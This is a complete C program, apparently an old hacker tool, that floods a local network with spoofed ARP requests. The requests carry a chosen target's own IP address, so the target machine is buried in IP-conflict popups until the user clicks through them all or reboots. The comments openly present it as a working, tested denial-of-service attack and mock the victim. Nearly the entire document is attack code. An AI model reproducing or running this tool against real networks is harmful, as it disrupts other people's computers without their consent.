/*
 * conflict-DoS.c - (c) noupe [tm@ns2.crw.se]
 *
 * Modified version of conflictd.c, the only diffrence is that you
 * specify a target host and then send out a few hundred spoofed ARP
 * requests on your LAN, causing the target user's machine to popup
 * those messages :).
 * The target luser can't do anything until he've hit OK on all
 * popups. I guess it's faster to reboot the computer than hitting
 * OK on all the popus.
 *
 * Requires libnet.
 * http://www.packetfactory.net/Projects/Libnet/dist/libnet.tar.gz
 *
 * Usage: ./conflict-DoS [interface] <target ip>
 *
 * 
 * Compiled & tested (found working too!) on FreeBSD 4.0
 *
 */

#include <stdio.h>
#include <libnet.h>
#include <arpa/inet.h>
#include <unistd.h>

#define PKTS 200

int main(int argc, char **argv)
{
	char eth_broadcast[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
	char eth_src[] = { 0xc0, 0xff, 0xee, 0x00, 0xbe, 0xef };
	char ebuf[0xff];
	char *dev = NULL;
	u_char *mdma;
	int i;
	struct in_addr target;
	struct libnet_link_int *intf;

	if(getuid())
	{
		printf("conflictd: run as root ashole!\n");
		return -1;
	}

	if(argc != 3)
	{
		printf("Usage: %s <interface> <target ip>\n", argv[0]);
		printf("\tEx: %s ed0 10.0.0.42\n", argv[0]);
		return -1;
	}

	dev = argv[1];
	inet_aton(argv[2], &target);
	if(target.s_addr == 0)
	{
		printf("Invalid ip. Specify as a.b.c.d\n");
		return -1;
	}

	printf("Using interface %s\n", dev);
	intf = libnet_open_link_interface(dev, ebuf);
	if(!intf)
	{
		printf("libnet_open_link_interface(): %s\n", ebuf);
		return -1;
	}

	if(libnet_init_packet(LIBNET_ETH_H+LIBNET_ARP_H, &mdma) < 0)
	{
		printf("libnet_init_packet(): out of memory.\n");
		return -1;
	}

	printf("Each dot is 10 popups..\n");
	for(i = 0; i < PKTS; i++)
	{
		if(!(i % 10))
			printf(".");

		libnet_build_ethernet(eth_broadcast, eth_src,
					ETHERTYPE_ARP, NULL, 0, mdma);

		libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN,
				 4, ARPOP_REQUEST, 
				 eth_src, (u_char *)&target.s_addr,
				 eth_broadcast, (u_char *)&target.s_addr, 
				 NULL, 0, mdma + LIBNET_ETH_H);

		if(libnet_write_link_layer(intf, dev, mdma, 
			LIBNET_ETH_H+LIBNET_ARP_H) < 0)
		{
			printf("\nlibnet_write_link_layer(): "
				"Couldn't write packet\n");
			break;
		}

	}

	libnet_destroy_packet(&mdma);
	printf("\n");
	
	return 0;
}
